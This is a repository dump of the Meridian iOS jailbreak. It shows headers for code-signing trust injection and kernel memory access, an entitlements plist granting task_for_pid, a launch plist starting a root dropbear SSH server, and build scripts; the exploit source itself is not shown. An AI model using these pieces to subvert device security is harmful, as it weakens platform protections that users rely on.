├── .gitignore
├── LICENSE.md
├── Meridian
├── Meridian.xcodeproj
│ ├── project.pbxproj
│ ├── project.xcworkspace
│ │ ├── contents.xcworkspacedata
│ │ └── xcshareddata
│ │ │ ├── IDEWorkspaceChecks.plist
│ │ │ └── WorkspaceSettings.xcsettings
│ └── xcuserdata
│ │ └── ben.xcuserdatad
│ │ └── xcschemes
│ │ └── xcschememanagement.plist
├── Meridian
│ ├── amfi.h
│ ├── amfi.m
│ ├── bootstrap
│ │ ├── create-meridian-bootstrap.sh
│ │ ├── cydia-base.tar
│ │ ├── dpkgdb-base.tar
│ │ ├── installer-base.tar
│ │ ├── meridian-bootstrap.tar
│ │ ├── meridian-bootstrap
│ │ │ ├── Library
│ │ │ │ └── MobileSubstrate
│ │ │ │ │ └── ServerPlugins
│ │ │ │ │ └── Unrestrict.dylib
│ │ │ ├── bin
│ │ │ │ ├── launchctl
│ │ │ │ └── uicache
│ │ │ ├── meridian
│ │ │ │ ├── amfid_payload.dylib
│ │ │ │ ├── dropbear
│ │ │ │ │ ├── dropbear
│ │ │ │ │ └── dropbear.plist
│ │ │ │ ├── ent.plist
│ │ │ │ ├── jailbreakd
│ │ │ │ │ ├── jailbreakd
│ │ │ │ │ └── jailbreakd.plist
│ │ │ │ ├── ldrestart
│ │ │ │ ├── nohup
│ │ │ │ └── offsets.plist
│ │ │ ├── private
│ │ │ │ └── var
│ │ │ │ │ └── log
│ │ │ │ │ └── lastlog
│ │ │ └── usr
│ │ │ │ └── lib
│ │ │ │ ├── libjailbreak.dylib
│ │ │ │ └── pspawn_hook.dylib
│ │ ├── optional-base.tar
│ │ ├── system-base.tar
│ │ └── tar.tar
│ ├── common.h
│ ├── helpers
│ │ ├── cs_blobs.h
│ │ ├── fucksigningservices.h
│ │ ├── fucksigningservices.m
│ │ ├── helpers.h
│ │ ├── helpers.m
│ │ ├── iokit.h
│ │ ├── kernel.h
│ │ ├── kernel.m
│ │ ├── main.m
│ │ ├── nonce.h
│ │ ├── nonce.m
│ │ ├── nvpatch.c
│ │ ├── nvpatch.h
│ │ ├── untar.h
│ │ └── untar.m
│ ├── jailbreak.h
│ ├── jailbreak.m
│ ├── mach
│ │ ├── jailbreak_daemonUser.c
│ │ └── jailbreak_daemonUser.h
│ ├── patchfinders
│ │ ├── liboffsetfinder64.hpp
│ │ ├── offsetdump.h
│ │ ├── offsetdump.m
│ │ ├── offsetfinder.h
│ │ ├── offsetfinder.mm
│ │ ├── patchfinder64.c
│ │ └── patchfinder64.h
│ ├── preferences.h
│ ├── preferences.m
│ ├── root-rw.h
│ ├── root-rw.m
│ ├── v0rtex.h
│ ├── v0rtex.m
│ └── views
│ │ ├── AppDelegate.h
│ │ ├── AppDelegate.m
│ │ ├── Assets.xcassets
│ │ ├── AppIcon-Blue.appiconset
│ │ │ ├── Contents.json
│ │ │ ├── Icon-App-20x20@1x.png
│ │ │ ├── Icon-App-20x20@2x.png
│ │ │ ├── Icon-App-20x20@3x.png
│ │ │ ├── Icon-App-29x29@1x.png
│ │ │ ├── Icon-App-29x29@2x.png
│ │ │ ├── Icon-App-29x29@3x.png
│ │ │ ├── Icon-App-40x40@1x.png
│ │ │ ├── Icon-App-40x40@2x.png
│ │ │ ├── Icon-App-40x40@3x.png
│ │ │ ├── Icon-App-57x57@1x.png
│ │ │ ├── Icon-App-57x57@2x.png
│ │ │ ├── Icon-App-60x60@2x.png
│ │ │ ├── Icon-App-60x60@3x.png
│ │ │ ├── Icon-App-72x72@1x.png
│ │ │ ├── Icon-App-72x72@2x.png
│ │ │ ├── Icon-App-76x76@1x.png
│ │ │ ├── Icon-App-76x76@2x.png
│ │ │ ├── Icon-App-83.5x83.5@2x.png
│ │ │ ├── Icon-Small-50x50@1x.png
│ │ │ ├── Icon-Small-50x50@2x.png
│ │ │ └── ItunesArtwork@2x.png
│ │ ├── AppIcon-White.appiconset
│ │ │ ├── Contents.json
│ │ │ ├── Icon-App-20x20@1x.png
│ │ │ ├── Icon-App-20x20@2x.png
│ │ │ ├── Icon-App-20x20@3x.png
│ │ │ ├── Icon-App-29x29@1x.png
│ │ │ ├── Icon-App-29x29@2x.png
│ │ │ ├── Icon-App-29x29@3x.png
│ │ │ ├── Icon-App-40x40@1x.png
│ │ │ ├── Icon-App-40x40@2x.png
│ │ │ ├── Icon-App-40x40@3x.png
│ │ │ ├── Icon-App-57x57@1x.png
│ │ │ ├── Icon-App-57x57@2x.png
│ │ │ ├── Icon-App-60x60@2x.png
│ │ │ ├── Icon-App-60x60@3x.png
│ │ │ ├── Icon-App-72x72@1x.png
│ │ │ ├── Icon-App-72x72@2x.png
│ │ │ ├── Icon-App-76x76@1x.png
│ │ │ ├── Icon-App-76x76@2x.png
│ │ │ ├── Icon-App-83.5x83.5@2x.png
│ │ │ ├── Icon-Small-50x50@1x.png
│ │ │ ├── Icon-Small-50x50@2x.png
│ │ │ └── ItunesArtwork@2x.png
│ │ ├── Contents.json
│ │ ├── Icons
│ │ │ ├── Contents.json
│ │ │ ├── archive.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── archive@2x.png
│ │ │ │ └── archive@3x.png
│ │ │ ├── console.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── console@2x.png
│ │ │ │ └── console@3x.png
│ │ │ ├── gears.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── gears@2x.png
│ │ │ │ └── gears@3x.png
│ │ │ ├── hammer.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── hammer@2x.png
│ │ │ │ └── hammer@3x.png
│ │ │ ├── handshake.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── handshake@2x.png
│ │ │ │ └── handshake@3x.png
│ │ │ ├── jail.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── jail@2x.png
│ │ │ │ └── jail@3x.png
│ │ │ ├── ladybug.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── ladybug@2x.png
│ │ │ │ └── ladybug@3x.png
│ │ │ ├── list.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── list@2x.png
│ │ │ │ └── list@3x.png
│ │ │ ├── settings.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── settings@2x.png
│ │ │ │ └── settings@3x.png
│ │ │ ├── source_code.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── source_code@2x.png
│ │ │ │ └── source_code@3x.png
│ │ │ ├── synchronize.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── synchronize@2x.png
│ │ │ │ └── synchronize@3x.png
│ │ │ ├── trash.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── trash@2x.png
│ │ │ │ └── trash@3x.png
│ │ │ ├── twitter.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── twitter@2x.png
│ │ │ │ └── twitter@3x.png
│ │ │ └── www.imageset
│ │ │ │ ├── Contents.json
│ │ │ │ ├── www@2x.png
│ │ │ │ └── www@3x.png
│ │ ├── Map.imageset
│ │ │ ├── Contents.json
│ │ │ └── DarkMap.png
│ │ └── Splash.imageset
│ │ │ ├── Contents.json
│ │ │ ├── splash@2x.png
│ │ │ └── splash@3x.png
│ │ ├── Base.lproj
│ │ ├── LaunchScreen.storyboard
│ │ └── Main.storyboard
│ │ ├── CreditsController.h
│ │ ├── CreditsController.m
│ │ ├── Info.plist
│ │ ├── SettingsController.h
│ │ ├── SettingsController.m
│ │ ├── ViewController.h
│ │ └── ViewController.m
├── amfid
│ ├── Makefile
│ ├── common.h
│ ├── cs_blobs.h
│ ├── cs_dingling.h
│ ├── cs_dingling.m
│ ├── ent_patching.h
│ ├── ent_patching.m
│ ├── helpers
│ │ ├── fishhook.c
│ │ ├── fishhook.h
│ │ ├── kexecute.h
│ │ ├── kexecute.m
│ │ ├── kmem.c
│ │ ├── kmem.h
│ │ ├── offsetof.c
│ │ ├── offsetof.h
│ │ ├── osobject.c
│ │ └── osobject.h
│ ├── kern_utils.h
│ ├── kern_utils.m
│ ├── main.m
│ └── ubc_headers.h
├── exportPlist.plist
├── fishhook
│ ├── fishhook.c
│ └── fishhook.h
├── jailbreakd
│ ├── Makefile
│ ├── common.h
│ ├── entitlements.xml
│ ├── helpers
│ │ ├── kexecute.h
│ │ ├── kexecute.m
│ │ ├── kmem.h
│ │ ├── kmem.m
│ │ ├── offsetof.c
│ │ ├── offsetof.h
│ │ ├── osobject.c
│ │ └── osobject.h
│ ├── kern_utils.h
│ ├── kern_utils.m
│ ├── mach
│ │ ├── jailbreak_daemonServer.c
│ │ ├── jailbreak_daemonServer.h
│ │ └── mig.defs
│ ├── main.m
│ ├── sandbox.h
│ └── sandbox.m
├── libimg4tool.a
├── libmerged.a
├── liboffsetfinder64.a
├── libplist++.a
├── libplist.a
├── pspawn_hook
│ ├── Makefile
│ ├── fishhook.c
│ ├── fishhook.h
│ ├── mach
│ │ ├── jailbreak_daemonUser.c
│ │ └── jailbreak_daemonUser.h
│ └── pspawn_hook.m
└── unrestrict
│ ├── Makefile
│ ├── common.h
│ ├── helpers
│ ├── kexecute.c
│ ├── kexecute.h
│ ├── kmem.c
│ ├── kmem.h
│ ├── offsetof.c
│ ├── offsetof.h
│ ├── osobject.c
│ └── osobject.h
│ ├── kern_utils.c
│ ├── kern_utils.h
│ ├── main.c
│ ├── sandbox.c
│ ├── sandbox.h
│ └── unrestrict.c
├── README.md
└── Working_with_libjailbreak.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | xcuserdata
3 | *.xcuserstate
4 | .theos
5 | obj
6 | build_time
7 | **/bin
8 |
9 | !**/meridian-bootstrap/**/*
10 |
11 |
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 Ben Sparkes
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Meridian/Meridian.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IDEDidComputeMac32BitWarning
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Meridian/Meridian.xcodeproj/xcuserdata/ben.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | Meridian.xcscheme
8 |
9 | orderHint
10 | 0
11 |
12 | SafeMode.xcscheme
13 |
14 | orderHint
15 | 1
16 |
17 | TweakLoader.xcscheme
18 |
19 | orderHint
20 | 5
21 |
22 | amfid.xcscheme
23 |
24 | orderHint
25 | 2
26 |
27 | asd.xcscheme
28 |
29 | orderHint
30 | 4
31 |
32 | injector.xcscheme
33 |
34 | orderHint
35 | 2
36 |
37 | jailbreakd.xcscheme
38 |
39 | orderHint
40 | 3
41 |
42 | libjailbreak.xcscheme
43 |
44 | orderHint
45 | 3
46 |
47 | pspawn_hook.xcscheme
48 |
49 | orderHint
50 | 1
51 |
52 | unrestrict.xcscheme
53 |
54 | orderHint
55 | 4
56 |
57 |
58 | SuppressBuildableAutocreation
59 |
60 | B514CC751FECD788005F4E6B
61 |
62 | primary
63 |
64 |
65 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/Meridian/Meridian/amfi.h:
--------------------------------------------------------------------------------
1 | //
2 | // amfi.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 19/12/2017.
6 | // Copyright © 2017 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #include
10 | #include "helpers/cs_blobs.h"
11 |
12 | typedef struct {
13 | const char *name;
14 | uint64_t file_off;
15 | int fd;
16 | const void *addr;
17 | size_t size;
18 | } img_info_t;
19 |
20 | typedef char hash_t[20];
21 |
22 | struct trust_chain {
23 | uint64_t next;
24 | unsigned char uuid[16];
25 | unsigned int count;
26 | hash_t hash[1];
27 | };
28 |
29 | int init_amfi(void);
30 | int inject_trust(const char *path);
31 |
32 | void *put_dick_in_macho(const char *path, uint64_t file_off);
33 | const uint8_t *find_code_signature(img_info_t *info, uint32_t *cs_size);
34 | int find_best_codedir(const void *csblob, uint32_t blob_size, const CS_CodeDirectory **chosen_cd);
35 | unsigned int hash_rank(const CS_CodeDirectory *cd);
36 | int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]);
37 | const char *get_hash_name(uint8_t hash_type);
38 | int open_img(img_info_t* info);
39 | void close_img(img_info_t* info);
40 |
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/create-meridian-bootstrap.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | currDir=$(dirname $0)
4 | meridianDir=$currDir/../..
5 | baseDir=$currDir/meridian-bootstrap
6 |
7 | # amfid_payload.dylib
8 | cp $meridianDir/amfid/bin/* $baseDir/meridian/
9 |
10 | # pspawn_hook.dylib
11 | cp $meridianDir/pspawn_hook/bin/* $baseDir/usr/lib/
12 |
13 | # jailbreakd
14 | cp $meridianDir/jailbreakd/bin/* $baseDir/meridian/jailbreakd/
15 |
16 | # Unrestrict.dylib
17 | cp $meridianDir/unrestrict/bin/* $baseDir/Library/MobileSubstrate/ServerPlugins/
18 |
19 | # remove all .DS_Store files
20 | find $baseDir -name '.DS_Store' -delete
21 |
22 | # create tar archive
23 | cd $baseDir
24 | COPYFILE_DISABLE=1 tar -cf meridian-bootstrap.tar ./*
25 | mv meridian-bootstrap.tar $currDir
26 |
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/cydia-base.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/cydia-base.tar
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/dpkgdb-base.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/dpkgdb-base.tar
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/installer-base.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/installer-base.tar
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap.tar
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/Library/MobileSubstrate/ServerPlugins/Unrestrict.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/Library/MobileSubstrate/ServerPlugins/Unrestrict.dylib
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/bin/launchctl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/bin/launchctl
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/bin/uicache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/bin/uicache
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/amfid_payload.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/amfid_payload.dylib
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Label
6 | dropbear
7 | Program
8 | /meridian/dropbear/dropbear
9 | UserName
10 | root
11 | RunAtLoad
12 |
13 | KeepAlive
14 |
15 | StandardErrorPath
16 | /var/log/dropbear-stderr.log
17 | ProgramArguments
18 |
19 | /meridian/dropbear/dropbear
20 | -p
21 | 22
22 | -p
23 | 2222
24 | -F
25 | -R
26 | -E
27 | -m
28 | -S
29 | /
30 |
31 | StandardOutPath
32 | /var/log/dropbear-stdout.log
33 |
34 |
35 |
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ent.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | com.apple.system-task-ports
6 |
7 | task_for_pid-allow
8 |
9 | com.apple.private.security.no-container
10 |
11 | platform-application
12 |
13 | get-task-allow
14 |
15 | com.apple.private.skip-library-validation
16 |
17 | com.apple.lsapplicationworkspace.rebuildappdatabases
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Label
6 | jailbreakd
7 | Program
8 | /meridian/jailbreakd/jailbreakd
9 | EnvironmentVariables
10 |
11 | KernelBase
12 | 0x0000000000000000
13 | KernProcAddr
14 | 0x0000000000000000
15 | ZoneMapOffset
16 | 0x0000000000000000
17 | AddRetGadget
18 | 0x0000000000000000
19 | OSBooleanTrue
20 | 0x0000000000000000
21 | OSBooleanFalse
22 | 0x0000000000000000
23 | OSUnserializeXML
24 | 0x0000000000000000
25 | Smalloc
26 | 0x0000000000000000
27 |
28 | UserName
29 | root
30 | MachServices
31 |
32 | zone.sparkes.jailbreakd
33 |
34 | HostSpecialPort
35 | 15
36 |
37 |
38 | RunAtLoad
39 |
40 | KeepAlive
41 |
42 | StandardErrorPath
43 | /var/log/jailbreakd-stderr.log
44 | StandardOutPath
45 | /var/log/jailbreakd-stdout.log
46 |
47 |
48 |
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ldrestart:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ldrestart
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/nohup:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/nohup
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/offsets.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/private/var/log/lastlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/private/var/log/lastlog
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/usr/lib/libjailbreak.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/usr/lib/libjailbreak.dylib
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/meridian-bootstrap/usr/lib/pspawn_hook.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/usr/lib/pspawn_hook.dylib
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/optional-base.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/optional-base.tar
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/system-base.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/system-base.tar
--------------------------------------------------------------------------------
/Meridian/Meridian/bootstrap/tar.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/tar.tar
--------------------------------------------------------------------------------
/Meridian/Meridian/common.h:
--------------------------------------------------------------------------------
1 | #ifndef COMMON_H
2 | #define COMMON_H
3 |
4 | #include // uint*_t
5 | #include
6 |
7 | #define LOG(str, args...) do { NSLog(@str "\n", ##args); } while(0)
8 |
9 | #ifdef __LP64__
10 | # define ADDR "0x%016llx"
11 | typedef uint64_t kptr_t;
12 | #else
13 | # define ADDR "0x%08x"
14 | typedef uint32_t kptr_t;
15 | #endif
16 |
17 | #endif
18 |
--------------------------------------------------------------------------------
/Meridian/Meridian/helpers/fucksigningservices.h:
--------------------------------------------------------------------------------
1 | //
2 | // fucksigningservices.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 07/01/2018.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #ifndef fucksigningservices_h
10 | #define fucksigningservices_h
11 |
12 | #import "ViewController.h"
13 | #import
14 |
15 | @interface fucksigningservices : NSObject
16 |
17 | + (Boolean)appIsPirated:(NSString *)profilePath;
18 |
19 | @end
20 |
21 | #endif /* fucksigningservices_h */
22 |
--------------------------------------------------------------------------------
/Meridian/Meridian/helpers/fucksigningservices.m:
--------------------------------------------------------------------------------
1 | //
2 | // fuck-signing-services.m
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 07/01/2018.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #import "fucksigningservices.h"
10 |
11 | @interface NSString (profileHelper)
12 | - (id)dictionaryFromString;
13 | @end
14 |
15 | @implementation NSString (profileHelper)
16 |
17 | // convert basic XML plist string from the profile and convert it into a mutable nsdictionary
18 | - (id)dictionaryFromString
19 | {
20 | NSData *theData = [self dataUsingEncoding:NSUTF8StringEncoding allowLossyConversion:YES];
21 | id theDict = [NSPropertyListSerialization propertyListWithData:theData
22 | options:NSPropertyListMutableContainersAndLeaves
23 | format:nil
24 | error:nil];
25 | return theDict;
26 | }
27 |
28 | @end
29 |
30 | @implementation fucksigningservices : NSObject
31 |
32 | // creds @nitoTV/lechium the fuckin' madman
33 | // https://github.com/lechium/ProvisioningProfileCleaner/blob/master/ProvisioningProfileCleaner/KBProfileHelper.m#L648
34 | + (Boolean)appIsPirated:(NSString *)profilePath
35 | {
36 | NSString *fileContents = [NSString stringWithContentsOfFile:profilePath
37 | encoding:NSUTF8StringEncoding
38 | error:nil];
39 | NSUInteger fileLength = [fileContents length];
40 |
41 | if (fileLength == 0) return false;
42 |
43 | // find NSRange location of "];
47 |
48 | // adjust the location of endingRange to include into our newly trimmed string.
49 | NSUInteger endingLocation = endingRange.location + endingRange.length;
50 |
51 | // offset the ending location to trim out the "garbage" before
55 | NSRange plistRange = NSMakeRange(startingLocation, endingLocationAdjusted);
56 |
57 | NSString *plistString = [fileContents substringWithRange:plistRange];
58 |
59 | NSMutableDictionary *dict = [plistString dictionaryFromString];
60 |
61 | // Grab provisioning entries
62 | NSObject *provisionsAllDevices = [dict objectForKey:@"ProvisionsAllDevices"];
63 | NSArray *provisionedDevices = [dict objectForKey:@"ProvisionedDevices"];
64 |
65 | // Check whether keys are present & evaluate
66 | return (provisionsAllDevices != nil &&
67 | provisionedDevices == nil);
68 | }
69 |
70 | @end
71 |
--------------------------------------------------------------------------------
/Meridian/Meridian/helpers/helpers.h:
--------------------------------------------------------------------------------
1 | //
2 | // helpers.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 30/12/2017.
6 | // Copyright © 2017 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #ifndef helpers_h
10 | #define helpers_h
11 |
12 | #include
13 |
14 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
15 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */
16 | #define CS_HARD 0x0000100 /* don't load invalid pages */
17 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
18 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
19 |
20 | #define JAILBREAKD_COMMAND_ENTITLE 1
21 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2
22 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 3
23 | #define JAILBREAKD_COMMAND_FIXUP_SETUID 4
24 |
25 | int call_jailbreakd(int command, pid_t pid);
26 | uint64_t find_proc_by_name(char* name);
27 | uint64_t find_proc_by_pid(uint32_t pid);
28 | uint32_t get_pid_for_name(char* name);
29 | int uicache(void);
30 | int start_launchdaemon(const char *path);
31 | int respring(void);
32 | int inject_library(pid_t pid, const char *path);
33 | int killall(const char *procname, const char *kill);
34 | int check_for_jailbreak(void);
35 | char *itoa(long n);
36 | int file_exists(const char *path);
37 | void read_file(const char* path);
38 | int cp(const char *from, const char *to);
39 | int num_files(const char *path);
40 | char* bundled_file(const char *filename);
41 | char* bundle_path(void);
42 | int extract_bundle(const char* bundle_name, const char* directory);
43 | int extract_bundle_tar(const char *bundle_name);
44 | void touch_file(char *path);
45 | char* concat(const char *s1, const char *s2);
46 | void grant_csflags(pid_t pd);
47 | int execprog(const char *prog, const char* args[]);
48 | void restart_device(void);
49 | double uptime(void);
50 | void suspend_all_threads(void);
51 | void resume_all_threads(void);
52 |
53 | #endif
54 |
--------------------------------------------------------------------------------
/Meridian/Meridian/helpers/kernel.h:
--------------------------------------------------------------------------------
1 | //
2 | // kernel.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 16/12/2017.
6 | // Copyright © 2017 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #include
10 |
11 | enum arg_type {
12 | ARG_LITERAL,
13 | ARG_BUFFER,
14 | ARG_BUFFER_PERSISTENT, // don't free the buffer after the call
15 | ARG_OUT_BUFFER,
16 | ARG_INOUT_BUFFER
17 | };
18 |
19 | typedef struct _arg_desc {
20 | uint64_t type;
21 | uint64_t value;
22 | uint64_t length;
23 | } arg_desc;
24 |
25 | #define REMOTE_LITERAL(val) &(arg_desc){ARG_LITERAL, (uint64_t)val, (uint64_t)0}
26 | #define REMOTE_BUFFER(ptr, size) &(arg_desc){ARG_BUFFER, (uint64_t)ptr, (uint64_t)size}
27 | #define REMOTE_CSTRING(str) &(arg_desc){ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str)+1)}
28 |
29 | task_t tfp0;
30 | uint64_t kslide;
31 | uint64_t kernel_base;
32 | uint64_t kern_ucred;
33 | uint64_t kernprocaddr;
34 |
35 | kern_return_t mach_vm_write(vm_map_t target_task,
36 | mach_vm_address_t address,
37 | vm_offset_t data,
38 | mach_msg_type_number_t dataCnt);
39 |
40 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task,
41 | mach_vm_address_t address,
42 | mach_vm_size_t size,
43 | mach_vm_address_t data,
44 | mach_vm_size_t *outsize);
45 |
46 | kern_return_t mach_vm_allocate(vm_map_t,
47 | mach_vm_address_t *,
48 | mach_vm_size_t, int);
49 |
